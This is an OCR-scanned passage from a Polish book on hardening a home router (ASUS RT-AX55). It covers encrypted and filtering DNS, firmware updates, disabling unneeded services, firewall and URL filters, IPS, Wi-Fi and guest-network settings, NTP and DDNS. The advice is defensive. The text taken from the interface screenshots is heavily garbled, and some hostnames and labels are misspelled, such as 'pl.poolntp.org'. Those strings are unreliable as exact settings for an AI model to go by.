Czas dzierzawy 86400

Brama domysina

Ustawienia serwera DNS oraz WINS.

Rysunek 38. Widok konfiguracji dystrybuowanego adresu serwera DNS za pomocg DHCP

Polaczenie Internetowe| Dual WAN  Port Trigger  Przekierowanie portw ~ DMZ  DDNS  Okienko NAT

WAN - Polaczenie Internetowe

! AiMesh RT-AX55 obsluguje kilka typéw potaczenia z WAN (wide area network [siec rozlegta]). Typy te wybiera sig z rozwijanego menu
obok WAN Connection Type (Typ potaczenia WAN). Pola ustawienia zalezg od wybranego typu polaczenia.
éﬁ' Ll it Skonfiguruj ustawienia Ethernet WAN RT-AX55
8 AiProtection Konfiguracja podstawowa

Typ potaczenia WAN Automatyczne IP
8@ kontrola
(c]

rodzicielska
Uruchom WAN O Tak @ Nie

7>) Adaptacyiny QoS

(] SHELT G Uruchom NAT O Tak @ Nie

Ustawienia Zaawansowane =~ NATTyoe  EAQ Symmetric

[SN wireless Uruchom UPnP  UPnP_FAQ ® T2k O Nie
Ustawienia DNS portu WAN:
Polaczyé z serwerem DNS automatycznie O Tak @ Nie
DNS Privacy Protocol DNs-over-TLs (DoT)
DNS-over-TLS Profile O sirict ‘® Opportunistic
Preset servers Prosze wybrac.
Opcja DHCP
Class-identifier (option 6

M |ADDUID
Ciient-identifier (option 61)
o) Administracja

E_:/ I SR T DNS-over-TLS Server List (Max Limit : 8)
=

Address TLS Port TLS Hostname SPKI Fingerprint

@ Narzedzia sieciowe

dns. google

dns. google

cloudflare-dns.com

Rysunek 39. Widok ustawienia DoT - szyfrowane zapytania DNS



Konfiguracja routera

Warto wybraé te w miare szybkie i uzy¢ ich do pozbycia sie niechcianego
ruchu sieciowego oraz nadmiaru reklam (rysunek 40).

DNS-over-TLS Server List (Max Limit : 8)

Address TLS Port TLS Hostname SPKI Fingerprint

185.228.168.9 security-filter-dns.cl...
1.1.1.2 security. cloudflare-dn. ..

94.140.14.14 dns. adguard. com

9.9.9.9 dns. quadd.net

Rysunek 40. Widok z ustawionymi serwerami DNS filtrujgcymi malware i cze$¢ reklam

Jesli zdecydujemy sie na wykorzystanie bezpiecznych polgczen, konieczne
moze by¢ pozostawienie pola z rysunku 39 pustego (ADRES IP SERWERA DNS). Ina-
czej nasz router moze serwowac klientom zupelnie inny adres serwera DNS niz
ten, z ktérego sam korzysta, a co za tym idzie, zapytania od hostéw w sieci nie
beda szyfrowane. Dodatkowo producent urzadzen ASUS ma zaprogramowana
liste gotowych wpiséw DNS — warto z niej skorzystac.

Aktualizacja sprzetu

Jesli wykonamy juz najbardziej podstawowe czynno$ci zwigzane z siecia,
warto od razu dokona¢ aktualizacji oprogramowania urzadzenia. Je$li samo
urzadzenie widzi nowa wersje oprogramowania wewnetrznego lub znalezliSmy
ja w dziale pomocy producenta, zastosujmy ja. Czesto takie poprawki podnosza
bezpieczenstwo, a czasem takze rozwigzuja problemy dotyczace konfiguracji.
Mozna réwniez w tym momencie wykona¢ kopie zapasowa, co skréci ewentual-
ne odtwarzanie ustawien, gdyby aktualizacja zakonczyla sie niepowodzeniem.

W przykladowym routerze (rysunek 41) widzimy pole odnoszgce sie do wer-
sji podpisu - dotyczy ono indywidualnych elementéw systemu IPS dla produ-
centa tego rozwiazania (Asus wykorzystuje rozwigzanie marki Trend Micro).

Ustawienia zwigzane z bezpieczenstwem routera

W kolejnej sekcji skupimy sie na ustawieniach routera, ktdre moga wptynac
zar6éwno na bezpieczenstwo samego urzadzenia, jak i innych urzadzen w sieci.

Wytaczanie ustug
Zakladam, ze w chwili konfiguracji routera znana jest juz architektura sieci
domowej, zatem wylaczmy to, czego w niej nie chcemy lub wiemy, ze wlgczanie
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Tryb operacii ~ System Odtworzenie  Informacja zwrotna ~ Prywatnos¢
0géblne

@Si Mapa sieci Administracja - Upgrade Firmware

Informacja:

1. Najnowsza wersja firmware obejmuje akiualizacje od wersji poprzedniej.
@7 Sie€ goscinna 2. Parametry konfiguracii bgdg utrzymaija swoje ustawienia podezas aktualizas
3. Jesli aktualizacja nie powiedzie sig, RT-AX55 automatycznie przejdzie do trybu awaryjnego. Sytuacjq taka wskazg
r{;’ AiProtection sygnaly LED z przodu RT-AX55 Nalezy odwiedzi¢ strone Centrum pobierania ASUS, aby pobraé narzedzie ASUS
Firmware Restoration. Check on EAQ for more instructions.

2.9 kontrola 4. Pobierz najnowsza wersje firmware ze strony pomocy technicznej ASUS
rodzicielska

@ Adaptacyijny QoS
Automatyczna aktualizacja firmware

Ustawienia Zaawansowane Automatyczna akiualzacja firmware ON

less 03 10 | Sat, Jun 25 19:40:24 2022
Preferowany czas akiualizacii
* W tej strefie czasowej jest uruchomiony “czas letni™.

Wersja firmware
‘Wersja podpisu
Sprawdz, czy sq aklualizacje

Router AiMesh

lia sprzetoweg ktualizowane zostana tylko rane
esh. Upew e dego wybranego router: zla ladowana

Rysunek 41. Widok aktualizacji routera - mozemy wybra¢ dogodng pore automatycznej
instalacji aktualizacji

tych funkcji moze sprowadzi¢ problemy. Warto wiec wylaczy¢ ustugi takie jak:
UPnP, DMZ Port Forwarding (rysunek 42), Telnet i starsze protokoly pozwalaja-
ce na identyfikacje lub atakowanie urzadzenia. Je$li nie korzystamy, wylaczmy
tez IP w wersji széstej (rysunek 43).

Pofaczenie Internetowe Dual WAN Port Trigger Przekierowanie porte DMZ DDNS Okienko NAT
0gélne

@‘Q} Mapa sieci WAN MZ
AiMesh Wirtualny DMZ pozwala na wystawienie jednego komputera bezposrednio do intemetu. Opcja przydatna jest w przypadku

koniecznosci przekierowania nieznanych numerdw portéw do sieci wewnetrznej.
gy SieC goscinna
Aplikacje specjalne
AiProtection + Niektdre aplikacje wymagaja dodatkowych ustawien aby dzialaly poprawnie z NAT.
+ Please add a ule to port forwarding list for USB Disk access properly on FTP service.

DMZ_FAX
82 rodzicielska LB

Wiacz strefe DMZ L] -
@ Adaptacyiny QoS = o= 123 m

Ustawienia Zaawansowane

[A0 wireless

@LAN

Rysunek 42. Widok konfiguracji wytaczenia ustugi DMZ
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IPvE

Konfiguracja ustawienia sieci IPv6 Internetowe RT-AX55.
IPV6 FAQ

Konfiguracja podstawowa

Typ potaczenia

Rysunek 43. Widok konfiguracji wytaczenia IPv6

Zmiana hasta oraz domysinego loginu

Kolejny wazny krok to zmiana hasla (rysunek 44), poniewaz wiele urzadzen
ma je domys$lne i dostepne w Internecie dla wszystkich. Oznacza to, ze kazdy,
kto wejdzie do domowej sieci, bedzie mégl bez wiekszego wysitku zalogowacé
sie do znajdujacego sie w niej urzadzenia, czesto robiac to za pomoca automa-
tycznych narzedzi. Majac taki dostep, atakujacy tatwo moze zmieni¢ adresy
serwerdw DNS na takie, ktére beda pod jego kontrolg, i dzieki temu bedzie
mogl podstuchiwac ruch sieciowy, dodatkowo otwierajac sobie dostep do urza-
dzen spoza tej sieci.

Warto tez zmieni¢ domyslna nazwe uzytkownika. Tu obowigzuje ta sama
zasada: jest ona ogdlnie znana, wiec jej zmiana to kolejne utrudnienie dla po-
tencjalnego atakujacego. Takze CAPTCHA jest przydatna opcja blokujaca ataki
oparte na technice silowej (ang. brute-force) i sprawdzaniu wielu par loginéw
ihasel. Jesli jest to mozliwe, koniecznie nalezy ja wiaczyc.

Tryb operacji System Upgrade Firmware  Odtworzenie  Informacja zwrotna Prywat

Administracja - System

Zmiana hasta logowania routera, strefy czasowej i ustawien serwera NTP.
Konto na routerze

Mazwa logowania do routera

Hasto logowania na routerze

Wigcz mechanizm captcha przy logowaniu ® Nic

Rysunek 44. Widok zmiany domysInych danych logowania
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Podstawowe ustawienia firewalla

Nalezy zablokowa¢ mozliwo$¢ wysylania zapytan ping z sieci WAN (rysu-
nek 45). Nie trzeba pomaga¢ potencjalnym atakujacym w wykrywaniu tego
urzadzenia. Wiedzac, ze adres IP odpowie na zapytanie ICMP, moga by¢ zain-
teresowani dalszym testowaniem sieci.

Filtr URL  Filtr stéw kluczowych  Filtr ustug sieciowych

0Ogolne

@3 Mapa sieci Firewall

Ogédlne
Whacz firewall w celu zabezpieczenia sieci lokalnej przed atakami hakeréw. Firewall filiruje przychodzace i wychodzace pakiety w
@} Siec goscinna oparciu o reguly filtrowania.
DoS Protection FAQ
rlﬂ:l AiProtection
Uruchomi¢ firewall O Tak @ Nie

& @ kontrola
#2D rodzicielska Wiacz zabezpieczenia przed atakami DoS O Tak ® Nie

@ Adaptacyjny QoS Typ logowanych pakietow Porzucone
Odpowiadaj na PING z sieci WAN ® Tak O Nie

Ustawienia Zaawansowane

_ Firewall IPvé
[ wireless

Dozwolony jest caty ruch zewnetrzny z hostéw IPv6 w sieci LAN, oraz powigzany ruch wewnetrzny. Musi by¢ dozwolony tutaj
m LAN kazdy inny ruch wewnetrzny.

Aby zezwolic na ruch z dowolnego zdalnego hosta, adres IP zdalnego urzadzenia moze by pusty. MoZna takze okreslic
podsiec. (Na przyklad 2001::1111:2222:3333/64)

Konfiguracja podstawowa

Uruchom IPv6 Firewall . Nie

Lista ulubionych serwerw Prosze wybrac.

«® Amazon Alexa

@ IPvG

2 ven Reguly firewalla dla polaczef wewnetrznych (Maks. ilo$é & 128)

Nazwa ustugi. Remate IP/CIDR Lokainy IP Zakres portow Protokdt Dodaj / Usuri
mﬂ — _

TCP
L2 piniviatracia

Rysunek 45. Widok okna wbhudowanego firewalla

Pozbawmy mozliwo$ci wysylania ruchu poza sie¢ wewnetrzna urzadzenia,
ktdére nie powinny tego robic. Jesli nie chcemy, by nasza inteligentna lodéwka
laczyla sie ze Swiatem zewnetrznym, to nie powinni$my jej na to pozwolié.
Niestety, czesto aplikacje producentéw urzadzen nie bedg mialy odpowiednich
opcji, wiec musimy ustawic te blokady wtasnie na routerze.

Kolejna funkcja blokujaca jest mozliwo$¢ zatrzymywania komunikacji
z konkretnymi adresami sieciowymi URL (rysunek 46), ktére maja zosta¢ zablo-
kowane. Funkcja ta pozwala na dodawanie witryn do czarnych list. Jesli nato-
miast chcemy, zeby jaka$ strona nigdy nie byla blokowana, mozemy zapisac ja
do bialej listy. Czesto mozemy cze$¢ domeny zastapi¢ gwiazdka, np. *youtube.
com, dzieki temu zablokujemy wszystkie subdomeny w domenie youtube.com.
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Ogédlne  |Filtr URL|  Filtr stow kluczowych Filtr ustug sieciowych

Firewall - Filtr URL

Wprowadz stowa kluczowe dla stron, ktdre majg zostac zablokowane.
Na przyktad, wprowadz na liscie "X20X". Filir URL zablokuje hitp//iwww.abcX3CK com, hitp:/fiwww X2CXbbb.com, itd.

Konfiguracja podstawowsa

Odblokowac filir URL o Wiacz ® Wylaczony

Typ tabeli filtra czarna lista

Lista filtra URL: (Maks. ilos¢ : 64)

Lista filira URL: Dodaj / Usun

woutube. com

Rysunek 46. Widok konfiguracji filtrowania adreséw URL

Kolejna opcja stuzaca ograniczaniu niechcianego ruchu to zablokowanie po-
szczegllnych adreséw IP za pomoca routera. Akurat ten model nie posiada
takiej funkcji, ale jest to standardowa opcja w routerach chociazby firmy
MikroTik?!®.

Filtrowanie st6w kluczowych (rysunek 47) trzeba raczej traktowac jako cos,
co bedzie oferowalo stosunkowa niska skutecznos¢: wiekszos¢ routeréw nie za-
blokuje ruchu, gdy bedzie skompresowany lub szyfrowany, co zasadniczo jest
obecnie pewnym standardem. Dodatkowo, niestety, filtr ten bedzie sprawiat
niespodziewane problemy. Niechciane stowa czesto wchodzga w sklad innych
wyrazoéw, jak np. ass w stowie assassination, co spowoduje niepotrzebne za-
blokowanie ruchu.

Podobny problem moze pojawic sie, jesli na poziomie routera zablokuje-
my dostep np. do portalu Facebook - obojetnie, czy to za pomoca blokowania
stowa facebook, czy domeny facebook.pl. Nie jest tajemnica, ze do celoéw mar-
ketingowych przez wiele stron wykorzystywana jest wtyczka o nazwie Piksel
firmy Meta'#%. Zablokowanie tego elementu moze powodowa¢ nieprawidtowe
uruchamianie stron lub calkowity brak mozliwosci wejscia na cze$¢ z nich.

Kolejnym bardzo waznym filtrem jest filtr ustug sieciowych (rysunek 48).
Pozwala on na zablokowanie komunikacji z wykorzystaniem szerokich re-
gul czasowych, a takze podzial na osoby, ktdre moga lub nie moga w danych
godzinach korzysta¢ z wymienionych w regule serwiséw. Przykladowo, jesli
chcemy zablokowac hostowi mozliwo$¢ korzystania z portu komunikacyjne-
go platformy Steam, musimy odwotlac sie do listy oferowanej przez jej dzial
wsparcia, gdzie podane sa wszystkie porty niezbedne do komunikacji tej apli-
kacji'#!. Niestety, wiekszy problem powstaje podczas podawania Zrédlowego
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0gélne Filtr URL Itr sk Filtr ustug sieciowych

Firewall - Filtr stow kluczowych

Filtr stéw kluczowych umozZliwia blokowanie klientom dostepu do stron sieci web zawierajacych okreslone stowa kluczowe.

Ograniczenia funkcji filtrowania

1. Skompresowanych siron sieci web, wykorzystujgcych technologie kompresji HTTP, nie mozna filtrowac. Sprawd? tu,
aby uzyskac dalsze, szczegdlowe informacje
2. Stron https nie mozna filtrowac.
Konfiguracja podstawowa
Wiacz O Wytaczony
Lista filtra stéw kluczowych (Maks. ilos¢ : 64)

Lista filira stow kluczowych Dodaj / Usun

Rysunek 47. Okno konfiguracji filtrowania stéw kluczowych

Ogdlne  Filtr URL  Filtr stéw kluczowych Filtr ustug sieciowych

Firewall - Filtr usiug sieciowych

Filtr ustug sieciowych blokuje wymiane pakietow LAN do WAN i ogranicza korzystanie przez urzadzenia ze specyficznych ustug
sieciowych.

Na przykiad, aby urzadzenie nie korzystato z ustugi polaczenia z Internetem nalezy wprowadzic dla portu przeznaczenia 80.
Zablokowany zostanie ruch wykorzystujacy port 80.

Pozostaw puste pole IP, aby zastosowac te regule do wszystkich urzadzeri LAN.

Czas obowigzywania czamej listy : W zaplanowanym czasie, klienci znajdujacy sie na czamej , nie beda mogli uzywac
okreslonych ushig sieciowych. Po okreslonym czasie, wszyscy klienci w sieci LAN mogg uzyskac dostep do okreslonych ustug
sieciowych.

Czas obowigzywania bialej listy : W zaplanowanym czasie, klienci znajdujacy sie na biatej liscie, beda mogli uzywac JEDYNIE
okreslonych ushig sieciowych. Po okreslonym cza:
do Internetu lub dowolnej ustugi sieciowej.

klienci na biatej liscie nci sieciowi, nie beda mogli uzyskac dostepu

UWAGA : Po u: niu podsieci dla bialej listy, adresy IP poza podsi
dowolnej ustugi Intemetu

a nie beda mogly uzy: dostgpu do Intemnetu lub do

Filtr ustug sieciowych

Uruchomit filtr LAN konira WAN ® Tak O Nie

Typ tabeli filtra

Lista dozwolonych apl

Data odblokowania filira LAN kontra WAN

Czas odblokowania filira LAN kontra WAN

Data odblokowania filira LAN kontra WAN

s odblokowania filira LAN kontra WAN

Filtrowane pakiety ICMP

czarna listaw

pefiniowane przez uzytkownika v
¥ Pon ¥ Wi ¥ $r ¥ Caw ¥ Pt

00 ;|00 |-|23 @ 59

¥ Sob ¥ Nie

0o o0 -1 23

Lista filtra LAN kontra WAN (Maks. ilo$é : 32)

Zrodtowy adres IP Zakres portow

Docelowy adres IP Zakres portow Protokibt Dodaj / Usuri

TCP @

Rysunek 48. Widok konfiguracji filtra ustug sieciowych

96



Konfiguracja routera

adresu IP, jesli ma by¢ to pula nalezaca do firmy Valve!#2. Wszystkie te zakresy
musimy wprowadzi¢ indywidualnie, a akurat ten model urzadzenia ma limit
na poziomie 64 wpisow. Jesdli zablokujemy wszystkie pule, moze okazac sie, ze
nie bedziemy mieli mozliwo$ci zablokowac niczego innego.

IPS/IDS

Jesli nie korzystamy z rozwigzan oferowanych przez zapory sieciowe na-
stepnej generacji, uzyjmy — w miare dostepnosci - funkcji Intrusion Prevention
System (rysunek 49), a dodatkowo systemu powiadomien. Warto skonfiguro-
wac to prawidlowo, zeby mdc by¢ na biezaco z potencjalnymi zagrozeniami.

Dzigki tym systemom nie tylko zabezpieczymy sie przed aktywnymi ataka-
mi z zewnatrz, ale tez mozemy szybko wykry¢ podejrzane zachowania naszych
urzadzen w sieci lokalnej. Czasem bedzie to blokowanie potaczen do potencjal-
nie niebezpiecznych stron, a czasem komunikacja typowa dla botnetu.

Sama technologia IPS oferuje réwniez dodawanie wykluczen dla niektérych
stron, jesli zostana blednie ocenione jako niepozgdane. Warto sprawdzac, co
zostato zablokowane, i je$li dotyczy to np. banku, o ktérym wiemy, Ze nie jest
zagrozeniem, nalezy dodac go do biatlej listy.

Ochrona sieciowa| Blokowanie zosliwych stron  Wykrywanie i blokowanie zarazonych wirusami urzadzeri

@f‘j Mapa sieci AiProtection

Ogélne

Ochrona sieciowa z Trend Micro chroni przed atakami sieciowymi i
e ' e
zabezpiecza siec przed niechcianymi osobami. HOME

@e} Sie¢ goscinna NETWORK

. AiProtection FAQ

& @ kontrola
*20 rodzicielska

@ Adaptacyjny QoS
‘Wiacz AiProlection

Ustawienia Zaawansowane ) .
Ocena bezpieczenstwa routera

@ Wireless ; fach i 14

] Lan - ' Bezpieczne

4185

Trafienia

bazie Trend 0 S 20 4
@ IPv6

o
-_-@_‘ Amazon Alexa

VPN Wykrywanie i blokowanie zarazonych
wirusami urzadzen

*_H Firewall K ki a zail O
Trafienia

% Administracja Since 2/0 4

E/ Logi systemowe

Rysunek 49. Widok statystyk wtaczonego IPS-a oferowanego przez firme Trend Micro
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Oczywiscie, IPS do zastosowan domowych najprawdopodobniej bedzie
mniej skuteczny niz rozwigzania biznesowe, ale w przypadku zabezpieczenia
wlasnej sieci warto korzystac¢ ze wszystkiego, na co mozemy sobie pozwoli¢
(réowniez finansowo).

Funkcja skAN widoczna w panelu na rysunku 49 w omawianym modelu
pokazuje status potencjalnie niebezpiecznych ustawien. Jesli co§ pominiemy,
podpowiada, co jeszcze warto zmienic.

Kontrola rodzicielska

Jesli chcemy ograniczy¢ naszym dzieciom mozliwos$¢ korzystania z Internetu
w pewnych godzinach, wlaczmy taka funkcje (rysunek 50). Czasem pozwala ona
na blokowanie we wskazanych godzinach tylko konkretnej aktywnosci sieciowej.

Natomiast jesli nie mamy dzieci, a nie korzystamy z Internetu w godzinach
nocnych, warto rozwazy¢ uzycie harmonogramu dostepnosci. To kolejny po-
mys! na utrudnienie — bo nie nalezy tego traktowac jako zabezpieczenia - ata-
kowania domowej sieci Wi-Fi osobom postronnym.

L kontrola rodzicielska - Ustalanie harmonogramu
Qgdlne

@?) Mapa sieci By enabling Block All Devices, all of the connected devices will be biocked from Internet access.

Enable block all device III

This feature allows you to set up a scheduled time for specific devices’ Intemet access.

@3 SieC goscinna

1. In [Client Name] column, select a device you would like to manage. You can also
manually key in MAC address in this column.

2. W kolumnie [Dodaj / Usuri], kliknij ikone Edycja.

i 3. In [Time Management] column, click the edit icon to set a schedule.
rodzicielska 4. Click [Apply] to save the configurations.
@ Adaptacyiny QoS Wiacz Ustalanie harmonogramu Iil

Rysunek 50. Widok konfiguracji ograniczania ruchu w sieci dla urzadzer za pomocg kon-
troli rodzicielskiej

rlr;] AiProtection

Zabezpieczenie sieci bezprzewodowe;j i jej konfiguracja

W tej czesci skupimy sie na konfiguracji bezpiecznej sieci Wi-Fi.

Konfiguracja Wi-Fi

Konfiguracje Wi-Fi (rysunek 51) zacznijmy od zmiany domyslnego SSID (Se-
rvice Set Identifier)'*3, czyli nazwy sieci. Czesto nowe routery przedstawiaja sie
w tym miejscu swoim modelem, a czasem nawet cze$cig hasta wymagana do
zalogowania. Ustawmy te nazwe w sposob utrudniajacy jednoznaczng iden-
tyfikacje, do kogo nalezy sie¢ i jaki model urzadzenia ja dystrybuuje. Nalezy
unika¢ nazewnictwa typu ,Sie¢ Rozalii”, ,0grodowa 5” itp.

Kolejng czynnoscia jest rowniez ukrycie samej nazwy. Nie nalezy tego trak-
towac jako zabezpieczenia, raczej cos, co powoduje lekkie utrudnienie i sporo
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niedogodnosci w uzytkowaniu. Nadal mozna wykry¢ taka sie¢ za pomoca narze-
dzi do analizy sieci Wi-Fi. Dodatkowo urzadzenia laczace sie do ukrytej sieci i tak
przesylaja jej pelng nazwe podczas polaczenia'¥. Jesli chcemy, zeby, podiaczajac
sie do sieci, uzytkownik musial podac tez jej nazwe, wlaczmy te opcje, majac
Swiadomos$é, ze to tylko ukrycie, a nie podniesienie bezpieczenstwa sieci.

Nastepna zmiana to hasto do sieci — warto ustawic je zgodnie z dobrymi prak-
tykami, ktdre zostaly opisane w rozdziale Dobre praktyki zwigzane z hastem.

Dodatkowa uwaga: czasem hasto zawierajace specyficzny znak specjalny
(zazwyczaj bedzie to np. ,,»” lub ,/”) potrafi skutecznie uniemozliwi¢ czesci
urzadzen przylaczenie sie do sieci.

erap

Ogélne WPS WDS Filtr MAC karty sieci Ustawienia Professional Lista blokowania
7 bezprzewodowej RADIUS roamingu
0gélne

@5 Mapa sieci Wireless - Ogolne

P4 AiMesh Ponizej opisane sq ustawienia informacii dla sieci bezprzewodowej

‘Wigcz Smart Connect (Inteligenine

R - ON Zasada Inteligentnego podtaczenia
(&) olgczenie) == —
1) Siec goscinna P

Smart Connect pual-Band smart Connect (2.4 GHz and 5 GHZ)
(:ﬂ;] AiProtection

Nazwa sieci (SSID)
& @ kontrola

2 rodzicielska Ukryj SSID

(2>) Adaptacyiny Qos Tryb bezprzewodowy Automat Disable 11b

If compatil occurs when enabling 802.11ax / WiFi 6 mode,
Ustawienia Zaawansowane B021ax WIFI 6 Tryd S please check: FAQ

ﬁ Wireless WiFi Agile Multiband wytacz

Target Wake Time wytacz

Tryb autentykacii polaczenia

bezprzewodowego LS

Szyfrowanie WPA AES

r'@_- Amazon Alexa
'WPA Pre-shared Key tajneprzezPoufne_) (
Protected Management Frames -
{Zabezpieczone ramki zarzadzania) Obstugiwane

Czas wymiany klucza
Rysunek 51. Panel konfiguracyjny sieci Wi-Fi

Korzystajac z mozliwosci ograniczenia dostepu do sieci dla obcych, warto
zmniejszy¢ moc nadawania sygnatu. Jesli kto$ bedzie chcial atakowa¢ domo-
we Wi-Fi, bedzie musial pofatygowac sie blizej drzwi, wzbudzajac przy tym
wieksze zainteresowanie.

Wilaczmy najbardziej aktualne standardy komunikacyjne, wybierzmy pro-
tok6t WPA3, bo jest on oparty na najlepszych obecnie standardach szyfrowa-
nia, jesli tylko urzadzenia klienckie beda umiaty z nim wspoéipracowac. Jesli
nie, wykorzystajmy WPA2 lub tryb lgczony - WPA2+WPA3.

Pamietajmy tez o konfiguracji funkcji WPS — powinna ona by¢ uzywana
tylko wtedy, gdy jest potrzebna. Zawsze mozna wlaczyc ja pdzniej, a domyslnie
powinna by¢ wylaczona.
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Sie¢ goscinna - konfiguracja

To bardzo dobry sposéb, by zapewni¢ wieksze bezpieczenstwo sieci, dlatego
nalezy wlaczy¢ sie¢ goscinna (rysunek 52). Po pierwsze, bedziemy mogli spo-
kojnie udostepnia¢ ja odwiedzajacym nas znajomym, bez zagrozenia, ze zainfe-
kowany sprzet bedzie prébowat przeprowadzi¢ atak na gléwna siec. Po drugie,
mozna do niej przylaczy¢ rozne urzadzenia, ktére moga nie by¢ odpowiednio
bezpieczne. Najwazniejsze jednak w tym przypadku jest to, zZe nie dzielimy sie
naszym hastem do gléwnej sieci.

Sie¢ goscinna zapewnia pofgczenie z Internefem dia gosci ale ogranicza dosiep do

ae kontrola
B2 rodzicielska

@ Adaptacyjny QoS

Ustawienia Zaawansowane

@ Wireless

(W] Lan

ey
-,@_- Amazon Alexa

Intranetu.

Indeks sie€ goscinna

Ukryj SSID

Nazwa sieci (551D)

Tryb autentykacii pofaczenia
bezprzewodowego

Szyfrowanie WPA

'WPA Pre-shared Key

Czas dostepu

Funkcja ograniczenia
przepustowosci

Dostep do Intranetu

Sync fo AiMesh Node

1
® Tak O Nie
test

wPaA2 /wPA3-Personal

® 0 dni godziny

©O Nielimitowany dostep

® Tak O Nie

ROUTEr only

@ IPve

Wigcz filtr adresow MAC

Rysunek 52. Widok konfiguracji sieci goscinnej - mozna rozszerzy¢ jg réwniez o filtrowanie
adreséw MAC

Pamietajmy tez, zeby sie¢ goscinna oferowala inng adresacje sieciowa niz sie¢
gléwna, nalezy wiec ograniczy¢ komunikacje pomiedzy hostami z sieci mniej
bezpiecznej do tej, ktéra chcemy ochroni¢ przed niepowotanym dostepem.

Jesli nie mamy mozliwosci uruchomienia takiej sieci z gtdéwnego routera,
mozna wykorzysta¢ dodatkowe urzadzenie podpiete w strukturze za nim, ofe-
rujace oddzielna sie¢ Wi-Fi, réwniez w innej adresacji.

Blokowanie urzadzen wedtug adresu MAC oraz klonowanie adresu MAC
Zdarza sie, ze dostawca Internetu bedzie wymagat do$¢ specyficznych usta-
wien, takich jak klonowanie adresu fizycznego MAC (ang. MAC cloning), ma-
jace na celu ukrywanie urzadzen za routerem. Jest to zabieg czysto logiczny,
bo oczywiscie urzadzenia fizycznie beda nadal mialy rézne adresy — inaczej
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sie¢ nie bedzie dzialaé. Moze by¢ to réwniez potrzebne, jesli chcemy dolgczy¢
dodatkowy router za gtéwnym routerem i np. dystrybuowac rézne sieci Wi-Fi.
W przeciwnym wypadku do$¢ szybko stracimy dostep do sieci Internet.

Inng opcja zwigzana z adresacja MAC jest blokowanie wskazanych adre-
sow lub dopuszczanie do komunikacji w sieci tylko wybranych (rysunek 53).
Utrudnia to analizowanie sieci potencjalnym atakujacym, gdyz najpierw mu-
szg poznac adres karty fizycznej, ktédry moze sie w niej komunikowac. Nie jest
to jednak zabezpieczenie; mozna powiedzie¢, zZe raczej utrudnienie, a bedzie
to niewygodne w codziennym uzytkowaniu sieci.

Ogélne WPS  WDS Filtr MAC karty sieci Ustawienia s =l Lista blokowania
bezprzewodowej RADIUS roamingu

Wireless - Filtr MAC karty sieci bezprzewodowej

Filir adresow MAC w sieci bezprzewodowej pozwala na zdefiniowanie dozwolonych kart sieciowych.
Konfiguracja podstawowa
Pasmo
Wigcz filtr adresow MAC

Tryb filtra MAC

Lista adresow MAC (Maks. ilos¢ : 64)

MNazwa Kienta (Adres MAC) Dodaj / Usun

Rysunek 53. Widok konfiguracji filtrowania sieci do dopuszczonych adreséw MAC

Dodatkowe ustugi i funkcje dostepne na routerze

Na zakonczenie konfiguracji samego urzadzenia przedstawione zostana do-
datkowe jego funkcje, ktére réwniez warto skonfigurowac w celu poprawienia
bezpieczenstwa lub wydajnosci sieci.

Konfiguracja ustug dodatkowych: Watchdog, NTP, QoS i DynDNS

Router moze wykonywa¢ pewne czynnosci automatycznie. Nalezy do nich
automatyczny restart (rysunek 54), ktéry w przypadku sprzetéw domowych
warto wykonaé raz na jakis czas. Nie ma co do tego wytycznych, ale restart raz
w miesigcu wydaje sie optymalny. Pozwoli na wyczyszczenie cache i zerwanie
wiszacych polaczen sieciowych. Czestotliwo$¢ moze by¢ ré6zna w zaleznos$ci
od wieku sprzetu. Starsze routery moga wymagac restartu nawet codziennie
lub kilka razy w ciggu dnia. Dla takiego harmonogramu wybierzmy godzine,
o ktdrej wiemy, ze nikt nie korzysta z sieci i nie bedzie to uciazliwe.
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Konfiguracja podstawowa

Strefa czasowa (GMT+01:00) warszawa, Zagrzeb
Rozpoczecie zmiany sirefy czasowej DST 3 miesigc | 2nd Nie |Tydzieri&dni 2 godziny
Zakonczenie zmiany strefy czasowej DST 10 | miesigc  2nd Nie |Tydzien&dni 2 godziny

pl.pool.ntp.org el
Serwer NTP

Polaczenie NTP.

Monitorowanie sieci Zapytanie DNS ™ Ping
Ustalony adres docelowy dns.msftncsi.com

IP odpowiedzi 131.107.255.255 112.4.20.71 fd3e:4f5a:5b81::1

Cel ping l

Automatyczne wylogowanie 30

Wiacz uwage przekierowania przegladarki

informujaca o niedostepnosci WAN O Tak ® Nie

Zachowanie przycisku WPS O Uaktywnij WPS ® Przetacz radio ® Wiacz / wytacz LED

WHacz harmenegram ponownege

uruchamiania O Tak @ Nie

Dzieri ponownego uruchomienia Nic lpPon Mwi MSr Mczw Mprt M Sob

Godzina ponownego uruchomienia 03 : | 0D

Rysunek 54. Widok konfiguracji dodatkowych funkcji, ktére warto zastosowac w routerze

Kolejna funkcja jest Monitor, pozwalajaca na automatyczne wysylanie zapytan
typu ping lub DNS w celu sprawdzenia dzialania sieci WAN. Omawiany model
w przypadku wykrycia problemu przekieruje kazde zapytanie z przegladarki
klienckiej na specjalng strone z powiadomieniem o problemach.

Wilaczmy tez i ustawmy podlaczenie do serwera NTP (Network Time Proto-
col, rysunek 54)'4. Dzieki temu router bedzie przedstawial wszystkie komuni-
katy z data i godzing odpowiednia dla naszej strefy czasowej. Adres polskiego
serwera to np. pl.poolntp.org. Jak wida¢, mozna tu zdefiniowa¢ réwniez zmia-
ny czasu na letni i zimowy.

Musimy uwazad, jesli sami zdecydujemy sie na wystawienie na $wiat ser-
wera NTP. Zle skonfigurowany serwer tej ustugi moze np. zaczag¢ pomagac
w realizacji atak6w typu DDoS.

Nastepna funkcja warta wigczenia jest automatyczne wylogowanie z pa-
nelu administratora urzadzenia (rysunek 54). Pozwoli to uniknac¢ proble-
mow, gdy zapomnieliSmy o tym, ze jesteSmy zalogowani, a kto§ nieuprawniony
bedzie pdzniej korzystal z tej samej stacji roboczej.

Jesli chcemy miec¢ dostep do sieci lub do samego routera, a dostawca Inter-
netu nie oferuje stalego adresu IP, mozna wykorzystac¢ adres oferowany przez
ustuge DynDNS lub o réwnowaznej nazwie DDNS (rysunek 55) (Dynamic DNS).
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Jest to funkcja dynamicznego przypisywania danego adresu IP do stalego adre-
su DNS-owego. Zazwyczaj przelaczenie trwa okoto kilku minut, ale pozwala na
skonfigurowanie tego adresu jako statego punktu dostepowego.

W celu uzyskania dostepu do wlasnego routera mozna wybrac z listy kilka
innych, bardziej dogodnych adreséw, ale moze sie to wigzac¢ z konieczno$cia
zalozenia dodatkowych kont w serwisach zewnetrznych. W tym przypadku
Asus oferuje przydzial domeny bez dodatkowej rejestracji.

Cze$¢ producentéw sprzetu pozwala na uzycie w takiej sytuacji wlasnego
